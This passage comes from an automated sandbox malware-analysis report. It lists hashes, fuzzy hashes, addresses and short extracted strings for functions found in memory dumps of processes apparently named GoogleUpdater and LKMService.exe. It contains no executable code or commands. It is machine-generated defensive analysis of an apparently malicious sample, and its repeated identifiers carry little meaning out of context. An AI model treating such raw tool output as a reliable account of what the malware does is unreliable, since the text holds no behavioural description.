Instruction ID: c33ef4e22c39d7a04bd633d581ed1e8c18da9236296c4091d0abebdd0af1f0f1
Opcode Fuzzy Hash: e9b3e2a0223ccc65784ffcb129e1ae4c9c25d26c2469975999f93b04a1b39018
Instruction Fuzzy Hash: AA1146343000108FC744EB39D898A2E7BE6FFC9A1476544A8E50ADB3B6DE71EC068B91

Function 00F40E79 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e747e2520212c6e04850f2aeac073cf12899e6fe5a4064ec5230b7b3db766a72
Instruction ID: 89a37202e6d8a2a1a9be435e1502493bcf853caa1a7df53eb6d6ce0da95848d4
Opcode Fuzzy Hash: e747e2520212c6e04850f2aeac073cf12899e6fe5a4064ec5230b7b3db766a72
Instruction Fuzzy Hash: 09219D35A002488FDB01CF99D5849DCBBF2FF99320F189095E905BB266DB31AD84DF60

Function 00F40CC0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93c8e54b05115727c9707774b48b1c2ad9691fe9a82c199cbbeff1c08b69334
Instruction ID: 9c4cef9615dde66eb6286a6640bd4c9663c69dec8a214b05c66c62e5b0a64a79
Opcode Fuzzy Hash: b93c8e54b05115727c9707774b48b1c2ad9691fe9a82c199cbbeff1c08b69334
Instruction Fuzzy Hash: 8511CE32D0474A9FCB01CFB9D8804CDFBB5EF9A310F194666E010B7261E774258ACB60

Function 00F40989 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e46ae4bcc91be194626bf9bb82c9cc16f6cb74bfba5c24565bb8b0f10407a650
Instruction ID: c2888ab7e92a4477536270d1c95e968006c34447de1141ba69478af2b6f118ed
Opcode Fuzzy Hash: e46ae4bcc91be194626bf9bb82c9cc16f6cb74bfba5c24565bb8b0f10407a650
Instruction Fuzzy Hash: BA11377494125A8FCB07EF66F99594EBF71FB44300B1047A9D415DB279FB30A949CB80

Function 00F40879 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec8a2a9f16fa148494b05f565fb235efe7e58d446694bd5120a0b71ca1cc933
Instruction ID: 617f8b89050da1ca7ec96733d343c4fac77275a3127372d4854865241be0d0e2
Opcode Fuzzy Hash: cec8a2a9f16fa148494b05f565fb235efe7e58d446694bd5120a0b71ca1cc933
Instruction Fuzzy Hash: 1D018032D1464A9BCB019BB9D8404DDBB72EFCA310F158696D111B71A0EA70258ECBA1

Function 00EDD1C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253661010.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_edd000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81117106c0f187e0397c797df6e375d0a6ed36094d5b5ff1c61d81ed60918a49
Instruction ID: 0cd379234f6604f92908ee2f596e80e7917d9ca4fe5163725e5789403b60b8c0
Opcode Fuzzy Hash: 81117106c0f187e0397c797df6e375d0a6ed36094d5b5ff1c61d81ed60918a49
Instruction Fuzzy Hash: 4E012B3100D3409AE7204A25DD84767FFECEF41324F18C46BED082A396C239D842C671

Function 00F40CD0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 464f2864e09d3587e9a42ecfc567b0fb79c7148f2fa45e85c2d30d680b36d202
Instruction ID: 671df893eaa605b23b7380e25793951e1769024fd42d2e823750e9cde229d4ac
Opcode Fuzzy Hash: 464f2864e09d3587e9a42ecfc567b0fb79c7148f2fa45e85c2d30d680b36d202
Instruction Fuzzy Hash: 09012132D1060EABCB00DFA9D8404DDFBB9EFD9320F158666E115B7250E774258ACB60

Function 00F40998 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f76ed79317c9740983eeee153289aa80317d0b5a8be111b98757ed1261a6ed
Instruction ID: 7dd22bdd4367b5c4773d172b5b3bfe8664d8f31c6b3e081d73fc3c885d38acfa
Opcode Fuzzy Hash: c2f76ed79317c9740983eeee153289aa80317d0b5a8be111b98757ed1261a6ed
Instruction Fuzzy Hash: 3911067494121ACFCB0BFF66F99994ABBB2FB44304B104768D4159B278FB30A949CB80

Function 00F40D51 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b911612916ad786e2130968bbbf18e026c1889a9d1e7b168e2cf00d0ba16627
Instruction ID: d6aa95001886f09d0d4e7124606c43a2afaab081032df0fc43da34baa3095455
Opcode Fuzzy Hash: 7b911612916ad786e2130968bbbf18e026c1889a9d1e7b168e2cf00d0ba16627
Instruction Fuzzy Hash: DCF0F432D181499FDB05E7B4C4A49EFBFB24F84300F44452AC402AB281DEB0550AD7C3

Function 00F40901 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0002401c95626b59112220922cc6594a166bf97bbae31ddca8ee95ec8c65eba9
Instruction ID: bc03e1255078863951b7716341aa1dc82337aa73f79c970bf6bd5ffa457ce813
Opcode Fuzzy Hash: 0002401c95626b59112220922cc6594a166bf97bbae31ddca8ee95ec8c65eba9
Instruction Fuzzy Hash: 05F0C872A141869FDB05DB64C4559EFBFB24F84300F05492AD442B7291DE74560ADBC2

Function 00EDD1C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253661010.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_edd000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e05e0b744ab3a19991309878343e229029ba54071441b5b1403e8b3d5f3802
Instruction ID: f20e4459e24ccca3681ba6094dd6e28e262dfbc1157cfe5b27551665a738eea9
Opcode Fuzzy Hash: f4e05e0b744ab3a19991309878343e229029ba54071441b5b1403e8b3d5f3802
Instruction Fuzzy Hash: 2AF0C271408340AEE7108E16DDC4B62FFA8EF50328F18C45AFD081F396C279A841CAB0

Function 00F40910 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d98c5e9ab1d2931fe599e6ca6716a2c7be02c91a9913585af06a05f7942242
Instruction ID: 4a92ab04f811ab70a5a30fd74886f48d12c59907347ea158e26dd585515f4bf5
Opcode Fuzzy Hash: a6d98c5e9ab1d2931fe599e6ca6716a2c7be02c91a9913585af06a05f7942242
Instruction Fuzzy Hash: 7BF0E272E101099BDF04EB64C455AEFBFB69F84300F008926D502BB380DEB06906D7C2

Function 00F41798 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e898700a3b0b00767cec5cc051f2c74965797e581856a00082a2fc8e1f2abd2c
Instruction ID: 0f9bf20adff77706c622cbc3696a8001321182b19f47f3d6d225971ffbcbea80
Opcode Fuzzy Hash: e898700a3b0b00767cec5cc051f2c74965797e581856a00082a2fc8e1f2abd2c
Instruction Fuzzy Hash: 65D02E327003148BCF38A6B86D0116A33D99F84769B00047EEA0DCB381ED3AC84093C8

Function 00F40848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52145d4a6fb741e259bd126a02288e09459c5e352969e0541732ad5b446721e1
Instruction ID: cc4c27645aa014d4692ac865f5d32db5312ef50809979ef2672c926cd89a3373
Opcode Fuzzy Hash: 52145d4a6fb741e259bd126a02288e09459c5e352969e0541732ad5b446721e1
Instruction Fuzzy Hash: A3D017B2D05248AFDB01CFA4CA4575D7BB8BB05240F6504A5E848DB255DA319E50D791

Analysis Process: LKMService.exePID: 2488, Parent PID: 2580COMMON

Executed Functions

Function 00E46560 Relevance: 4.3, Strings: 3, Instructions: 519COMMON

Download Yara Rule

Strings

4`q, xrefs: 00E4659A
al, xrefs: 00E46B9A, 00E46BA3
fcq, xrefs: 00E467B5

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: fcq$4`q$al
API String ID: 0-403969555
Opcode ID: 111d1a3703e14b0aea16f32f6a967a2bdcb6bf84a9a96f625d66b27950d4a1e0
Instruction ID: 462918538f50a1ed521f9da1df29f6203668482137f7cdcf358325ca02220416
Opcode Fuzzy Hash: 111d1a3703e14b0aea16f32f6a967a2bdcb6bf84a9a96f625d66b27950d4a1e0
Instruction Fuzzy Hash: CC222970A003598FCB05DFA8D884A9DBBF2BF89314F1542A9E419AF3A5DB30DD45CB51

Function 00E46551 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

al, xrefs: 00E46B9A, 00E46BA3
fcq, xrefs: 00E467B5

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: fcq$al
API String ID: 0-2860078322
Opcode ID: 16650203b29c5e0cdcbc9cf97246b6c0681600ac48820b733b679d353cfb38b3
Instruction ID: 478678b817f12d947e86b07cc83825f84ce24b34ebd5fcbff1d3bf2c06e453ca
Opcode Fuzzy Hash: 16650203b29c5e0cdcbc9cf97246b6c0681600ac48820b733b679d353cfb38b3
Instruction Fuzzy Hash: 93126A70A003498FCB05DFA8D894A9DBBF2BF8A314F154669E416AB3A5DB309C45CB91

Function 00E43B00 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b60cac87632cab177c7c4e36094b6072376bb8ce4b4094fa9b10eb175b55af
Instruction ID: 1e15d8d709565300287fa59a421b571d561fa8ad543ab8e4f87c86933e953e43
Opcode Fuzzy Hash: a4b60cac87632cab177c7c4e36094b6072376bb8ce4b4094fa9b10eb175b55af
Instruction Fuzzy Hash: 57F11A75A002098FCB05DF68D680A9DBBF2FF88310B2585A5E449EB365DB30FE46CB50

Function 00E46160 Relevance: 5.2, Strings: 4, Instructions: 196COMMON

Download Yara Rule

Strings

(bq, xrefs: 00E463AA
xbq, xrefs: 00E46293
(bq, xrefs: 00E463D6
xbq, xrefs: 00E462EF

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: (bq$(bq$xbq$xbq
API String ID: 0-2582918839
Opcode ID: 4ade17cda707bf782974696f921678b0864d6eca35ad94922bb53d8342c7c68b
Instruction ID: ba060f268b79523cbe6dbbcf6301f89a9eaeef1176d5b3c4153cc82b866f9028
Opcode Fuzzy Hash: 4ade17cda707bf782974696f921678b0864d6eca35ad94922bb53d8342c7c68b
Instruction Fuzzy Hash: 8B61B2313002049FDB159F68D850B6E7BA2EFCA314F14846DE81A9B3A5CF72EC42CB91

Function 00E42180 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

4`q, xrefs: 00E421B6
fcq, xrefs: 00E42393

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: fcq$4`q
API String ID: 0-4026759131
Opcode ID: 8090897b7b94ecfa10b9314b8e6673282a4abb93346e7b28cf3b972ed1dc7022
Instruction ID: d033f05fc668abaeb1d080269e9c13070671492adc1b59ba6f58a272edaa50a4
Opcode Fuzzy Hash: 8090897b7b94ecfa10b9314b8e6673282a4abb93346e7b28cf3b972ed1dc7022
Instruction Fuzzy Hash: 94C13770E012099FCB09DF68E580A9DBBF6BF89300F5581A5E815EB365DB30ED45CB60

Function 00E45D7D Relevance: 1.9, Strings: 1, Instructions: 624COMMON

Download Yara Rule

Strings

xbq, xrefs: 00E46293

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: xbq
API String ID: 0-73991425
Opcode ID: ee31a481ec04444a82a5321b1e38a34d380051813f8a79ed3786ff445f42912e
Instruction ID: fcac1cb3c0c9ad9235e567e0c17e4d2d3ca22a3035e8a59227860a0ed1120068
Opcode Fuzzy Hash: ee31a481ec04444a82a5321b1e38a34d380051813f8a79ed3786ff445f42912e
Instruction Fuzzy Hash: F451BF313002059FDB15DF68C854BAEBBE2EF8A314F148579E4599B3A5CB72EC42CB91

Function 00E46ED8 Relevance: 1.6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

Strings

fcq, xrefs: 00E46F0B

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: 022df02dd77c6b2faaaf3a393f798a477a43b0f8c4774dcde127f09e0903e186
Instruction ID: 1bd128406ec45dd692745923901d1911c3c13187c0c6d5878b5af29a9273bc7a
Opcode Fuzzy Hash: 022df02dd77c6b2faaaf3a393f798a477a43b0f8c4774dcde127f09e0903e186
Instruction Fuzzy Hash: 73C15970E052498FCB15DFA8D480A9DBBF2FF89310F1581A5E855EB3A5DB30AD46CB90

Function 00E42178 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

fcq, xrefs: 00E42393

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: 607f3051902e0ad78667c952de3ca3b3b75b6af174c9a9e96d9cf90e532da62a
Instruction ID: 7692c1910eb8a4af77c64c91d37d54313ce7c9edff70b4d3a40baf25b38f6c59
Opcode Fuzzy Hash: 607f3051902e0ad78667c952de3ca3b3b75b6af174c9a9e96d9cf90e532da62a
Instruction Fuzzy Hash: 1CA14970A012099FDB09DF68E580A9DBBF6BF89310F558195F815EB3A5DB30ED41CB60

Function 00E42F68 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

LR^q, xrefs: 00E42F9C

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: b358ef619be4e9cab7f0ed8f118e926e6711b01f49fd25780998b65bf60342f7
Instruction ID: 8235044cf01e777d83975bfd4507f3e7e2d0d214862aff5df53289edfae22cfe
Opcode Fuzzy Hash: b358ef619be4e9cab7f0ed8f118e926e6711b01f49fd25780998b65bf60342f7
Instruction Fuzzy Hash: 13316B34A012059FCB04DF78D594B9EBBF2EF88704F649069E545BB365DA319D06CB50

Function 00E42647 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

`_q, xrefs: 00E42693

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: `_q
API String ID: 0-2041170535
Opcode ID: 3fa76ca520d70242b9be9b86cbe21344bd6e5a89383f0c9a4328ef9a746efcac
Instruction ID: 0e29cb9dd43a9ba2d5423a8c9cf60df3f94e4fd9f1550094894dd50c2840a6ce
Opcode Fuzzy Hash: 3fa76ca520d70242b9be9b86cbe21344bd6e5a89383f0c9a4328ef9a746efcac
Instruction Fuzzy Hash: 7431B030A002148FCF24DF69D9006DEBBF6FF89740B5486ADE485BB365CB31A805CB61

Function 00E42F78 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

LR^q, xrefs: 00E42F9C

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: b9e829f559096dd8f538f170b4494fb0e28bcd3ac6c0e1f1522b9eedc65dbc1b
Instruction ID: 958a5f90d44e6359b28c7d280583825e8d40d1ab4d69caf51d11468fd2ee3747
Opcode Fuzzy Hash: b9e829f559096dd8f538f170b4494fb0e28bcd3ac6c0e1f1522b9eedc65dbc1b
Instruction Fuzzy Hash: 44316934E002099FCB04DFB9D595A9EBBF6BF88704F608129E506FB3A4DA309D41CB50

Function 00E40DE8 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c383182dff41933acbe8ed78bf25102de1673d552ccc073c2f91003f8a5214
Instruction ID: 1fc471e11369270185e1f42991a0a454b92f25bbb650bb499af254e4126989c1
Opcode Fuzzy Hash: d6c383182dff41933acbe8ed78bf25102de1673d552ccc073c2f91003f8a5214
Instruction Fuzzy Hash: 7AF1E035A002488FDB05DFA8C584ADCBBF2AF49324F199194E845FB366DB35AD85CF60

Function 00E40DD8 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3ffe7a9f6b0d3d1b6fc6d4f373c9de0e2fdaa85eb214a619042eb0a3a1c95d
Instruction ID: ef4ec3edb077881015d1fefafaa0390a67be81a6766134162621ae23b6260af0
Opcode Fuzzy Hash: ad3ffe7a9f6b0d3d1b6fc6d4f373c9de0e2fdaa85eb214a619042eb0a3a1c95d
Instruction Fuzzy Hash: 02F1FF35A002488FDB05CFA8D484ADCBBF2EF49320F199194E845BB366DB31AD85CF60

Function 00E43AD5 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88611ab4656afc46fa336479d14f2b58d4237f521c0a51ffb92043de8135327b
Instruction ID: 6cc59e05bb13c7336fcb7c52cffb2abef9a8c3701bde6be5c15153ee7b334f0d
Opcode Fuzzy Hash: 88611ab4656afc46fa336479d14f2b58d4237f521c0a51ffb92043de8135327b
Instruction Fuzzy Hash: 56D10975A002489FCB05DF68D680A9DBBF2FF89310B258595E449EB366D730FE46CB90

Function 00E46EC9 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f741ad06a648ce29f5fbcfa7210a2bb3ea640f6b1500f69dee1d9f521048a
Instruction ID: c7565019c2d12b6a381486cf247869f8b2a73bf9a69472d9a58a84c0c0c4b186
Opcode Fuzzy Hash: 355f741ad06a648ce29f5fbcfa7210a2bb3ea640f6b1500f69dee1d9f521048a
Instruction Fuzzy Hash: DDA18B74E04209CFCB15CF68D484AADBBF1EF89314F1581A6E855EB361DB30AD46CB91

Function 00E41CD8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8326f836d569a7c83c0e705221df7ebf03da295868d8dfd363572e2a0fb188df
Instruction ID: 897bea77c0a0e3d4d016581e40c027de10b054084dfbb31f915e8a038ac812cc
Opcode Fuzzy Hash: 8326f836d569a7c83c0e705221df7ebf03da295868d8dfd363572e2a0fb188df
Instruction Fuzzy Hash: CDA123B4A102599FDB05CFA8E980ADCBBF1FF4A310F154695E841EB3A5C731AD45CB60

Function 00E44F58 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7608e6790879dafb8a8af14bea8abdc7bb97f3be48ccd227e9942ad9cdc9580
Instruction ID: a93e33a001aac772e28107f1a9a4f004a04583818281f054f621c92e78252661
Opcode Fuzzy Hash: d7608e6790879dafb8a8af14bea8abdc7bb97f3be48ccd227e9942ad9cdc9580
Instruction Fuzzy Hash: 44513576E00718CFDB14CFA9E880BDEBBF1AB88704F248029E415BB245DB759845CF81

Function 00E44F4C Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c7792a6dfe04a1b3544a105327fa744f7ea92ed455268a01b45792c807cd50
Instruction ID: eb66fa1cb1ca9f272a920812b46c3e39b13c40bdd96d129a29159116bbc1b30b
Opcode Fuzzy Hash: 44c7792a6dfe04a1b3544a105327fa744f7ea92ed455268a01b45792c807cd50
Instruction Fuzzy Hash: 935137B1E00618DFDB14CFA9E885BDEBBF1AF48704F249029D415BB285DB749845CF91

Function 00E45148 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452e8060e79153d1923c373a92c3e1001e8d285d255315f0e6d3ca263090015a
Instruction ID: ac286b37a1b2daca231c40986be49601504d41988df5bfbc4dc269fe06eddee1
Opcode Fuzzy Hash: 452e8060e79153d1923c373a92c3e1001e8d285d255315f0e6d3ca263090015a
Instruction Fuzzy Hash: 73513772E01658DFCB14CFA9E88079DBBF5BF48304F24812AD419BB255DB749845CB85

Function 00E4513D Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d326d4c33d7f7394ed870786e457277e6cd5070b972ba7c176758a98d022fa93
Instruction ID: 958fb460c35bfdacdeaa388089fa3d07530ba960542f0d7a24298fe615b6e016
Opcode Fuzzy Hash: d326d4c33d7f7394ed870786e457277e6cd5070b972ba7c176758a98d022fa93
Instruction Fuzzy Hash: 41416972E01A58DFCB10CFA9E8947DEBBF5AF48304F20852AD405BB355D7749945CB81

Function 00E40B28 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a6d307afd55d51bd5a4d587dc5fcd7789ecc30e16e5dbc4144e8d1adbfa06d
Instruction ID: a164004fe01a8e039b19b4edca7058b16f16569a710eee965f29cf0894f1d0ff
Opcode Fuzzy Hash: e5a6d307afd55d51bd5a4d587dc5fcd7789ecc30e16e5dbc4144e8d1adbfa06d
Instruction Fuzzy Hash: 1241AC70A05754CFDB22DF28E94069EBBF1FF89300B14466AE496EB7A5D734AC44CB60

Function 00E43471 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b54852f336c7dc1f79a7f7e259b64d5bcf45ce875cb514730b9af32a769856
Instruction ID: 622495bf7f91585011f9c11297016f19ce2489a02fe905ec3736d9f7087b5c2d
Opcode Fuzzy Hash: 00b54852f336c7dc1f79a7f7e259b64d5bcf45ce875cb514730b9af32a769856
Instruction Fuzzy Hash: 9541A0709043549FDF22CF78D940ADEBBF5BF88300F14465AE495EB6A5C734AA44CB20

Function 00E44797 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cbcd750d1fa85ed1521a90c23fa753681648bb7c99cd7b7f4de17071a2a4515
